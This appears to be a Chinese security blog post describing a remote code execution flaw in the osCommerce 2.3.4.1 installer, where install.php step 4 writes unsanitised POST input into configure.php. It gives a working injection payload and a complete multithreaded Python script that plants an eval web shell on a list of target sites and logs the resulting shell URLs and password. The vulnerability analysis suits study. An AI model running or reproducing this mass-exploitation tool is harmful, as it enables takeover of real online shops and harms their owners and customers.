613 words
3 minutes
osCommerce 2.3.4.1 - 远程代码执行漏洞(每日一洞)
2018-04-02

0x01 前言#

好几天没有写了,前两天又去Boom了,差点没缓过来。今天在exploit-db逛看到一个洞,也是install的地方,想去利用上次那个远程数据库技巧来尝试下,发现这个洞根本用不到,不过新手可以学习下哈,也可以收藏下,因为有时候在ctf线下赛的时候官方会拿一些国外的程序给你玩,最近也在写python的漏洞利用工具,欢迎关注我的github。

0x02 环境#

程序源码下载:https://www.exploit-db.com/apps/ce2796b352d6e0fb4e9f03866ae98541-oscommerce-2.3.4.zip Web环境10+Apache2+PHP5.6+MySQL

0x03 漏洞利用过程#

1.我们先正常安装这个程序#

2.执行我们的payload#

GET:http://127.0.0.1/oscommerce/install/install.php?step=4 POST:DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');phpinfo();/*

3.访问写入代码的文件#

GET:http://127.0.0.1/oscommerce/install/includes/configure.php

写入的内容:

0x04 漏洞代码分析过程#

漏洞文件出现的位置是:\install\templates\pages\install_4.php

说起这个国外写的程序还没我们国内的严谨,安装完没有写入install.lock或者像Joomla(最近正在写)一样强制让客户删除安装文件。

直接看代码吧,过程也不算太复杂。这里用到了PHP以下的函数$HTTP_POST_VARS这个函数类似与PHP4及以上的$_POST。这里是接收参数的地方。

最重要还是这里,因为如果没有传入DIR_FS_DOCUMENT_ROOT的话下面写入文件就无法进行了。

0x05 Payload构造#

DIR_FS_DOCUMENT_ROOT是必须的了,让它等于根目录./就行了。 写入恶意代码就用DB_DATABASE吧,我们先用闭合');前面,然后再写入phpinfo();,后面它会自动加上’);,exploit-db上面是直接加上/*注释掉的,因为这个程序很奇怪,先一遍在install的配置文件,然后再写到程序里面的配置文件,所以就不会顾虑网站会崩的问题了。 payload: post 模式DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');phpinfo();/*

0x06 用Python编写批量getshell脚本#

我觉得你们应该读得懂这个代码吧,如果有需要的话我以后会把这里面的流程解释一遍。

#!/usr/bin/env #author:F0rmat import sys import requests import threading def exploit(target): if sys.argv[1]== "-f": target=target[0] url1=target+"/install/install.php?step=4" data={ 'DIR_FS_DOCUMENT_ROOT': './', 'DB_DATABASE':"\');@eval($_POST['f0rmat']);echo 'F0rmat';/*" } url2=target+"install/includes/configure.php" try: requests.post(url1,data=data) verify = requests.get(url2, timeout=3) if "F0rmat" in verify.content: print 'Write success,shell url:',url2,'pass:f0rmat' with open("success.txt","a+") as f: f.write(url2+' pass:f0rmat'+"\n") else: print target,'Write failure!' except Exception, e: print e def main(): if len(sys.argv)<3: print 'python osCommerce_rce.py -h target/-f target-file ' else: if sys.argv[1] == "-h": exploit(sys.argv[2]) elif sys.argv[1] == "-f": with open(sys.argv[2], "r") as f: b = f.readlines() for i in xrange(len(b)): if not b[i] == "\n": threading.Thread(target=exploit, args=(b[i].split(),)).start() if __name__ == '__main__': main()

0x08 结束#

这个洞确实有点简单了哈哈。

0x09 参考#

https://www.exploit-db.com/exploits/44374/ https://github.com/F0r3at/Python-Tools

osCommerce 2.3.4.1 - 远程代码执行漏洞(每日一洞)
https://fuwari.vercel.app/posts/oscommerce-2341---remote-code-execution-vulnerability/
Author
Lorem Ipsum
Published at
2018-04-02